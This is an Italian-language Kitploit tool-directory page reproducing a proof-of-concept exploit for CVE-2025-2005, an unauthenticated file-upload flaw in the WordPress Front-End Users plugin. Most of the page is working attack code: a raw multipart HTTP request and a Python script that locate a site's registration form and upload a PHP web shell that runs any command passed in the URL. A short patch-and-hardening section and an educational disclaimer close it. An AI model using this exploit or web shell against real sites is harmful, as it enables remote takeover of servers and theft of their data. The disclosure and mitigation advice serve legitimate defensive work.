Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2005 — Exploit proof-of-concept per CVE-2025-2005, una vulnerabilità di upload arbitrario di file nel plugin WordPress Front-End Users (<=3.2.32). Include script HTTP manuali e Python per caricare shell web PHP su moduli di registrazione non autenticati. | Kitploit
Strumenti/GitHubGitHub/h4ckxel/cve-2025-2005
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

Exploit proof-of-concept per CVE-2025-2005, una vulnerabilità di upload arbitrario di file nel plugin WordPress Front-End Users (<=3.2.32). Include script HTTP manuali e Python per caricare shell web PHP su moduli di registrazione non autenticati.

Vedi Repository
131 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2005 - Pwn nel plugin WordPress Front-End Users

By h4ckxel

Info Rapida

  • Plugin: Front-End Users
  • Versioni vulnerabili: <= 3.2.32
  • Tipo di bug: Arbitrary File Upload
  • Punteggio CVSS: 10 (Critico)
  • Rischio: Consente a qualsiasi attaccante senza autenticazione di caricare file arbitrari (es. web shell PHP) ed eseguirli da remoto, compromettendo l'intero server.

Descrizione del Bug

Questo exploit sfrutta la validazione insufficiente del caricamento dei file nei moduli di registrazione del plugin. Non ci sono filtri sulle estensioni, controlli di autenticazione né sanitizzazione dei tipi di file. Un attaccante può inviare una richiesta multipart/form-data a qualsiasi modulo di registrazione e introdurre un .php malevolo in un campo personalizzato (es. xxploit).

Anche se i file caricati finiscono in wp-content/uploads/ewd_feup_uploads/ con un hash casuale nel nome, restano eseguibili se PHP è abilitato nella directory.


PoC - Exploit Manuale

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--

Il file viene salvato in:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php

Il nome cambia, ma può essere trovato manualmente o con uno scanner.


PoC - Exploit in Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print(f"[*] Scaneando: {base_url}")

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Error al acceder al sitio.")
    exit()

page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text:
            registration_url = link
            print(f"[+] Form de registro encontrado en: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
    exit()

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
    'ewd-feup-action': 'register',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}

print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)

if upload_response.status_code == 200:
    print("[+] Upload completado.")
else:
    print("[-] Falló la subida.")

Soluzione

Aggiornare il plugin all'ultima versione sicura (se esiste), oppure disattivarlo temporaneamente se non c'è una patch. Inoltre:

  • Bloccare l'esecuzione di PHP in wp-content/uploads/.
  • Implementare validazioni di estensione e tipo di file nel modulo.
  • Limitare i caricamenti solo agli utenti autenticati.

Disclaimer

Questo PoC è solo per scopi educativi e test di sicurezza autorizzati. Non fare il lamer, usalo in modo responsabile e solo in ambienti in cui hai il permesso.

Scarica lo strumento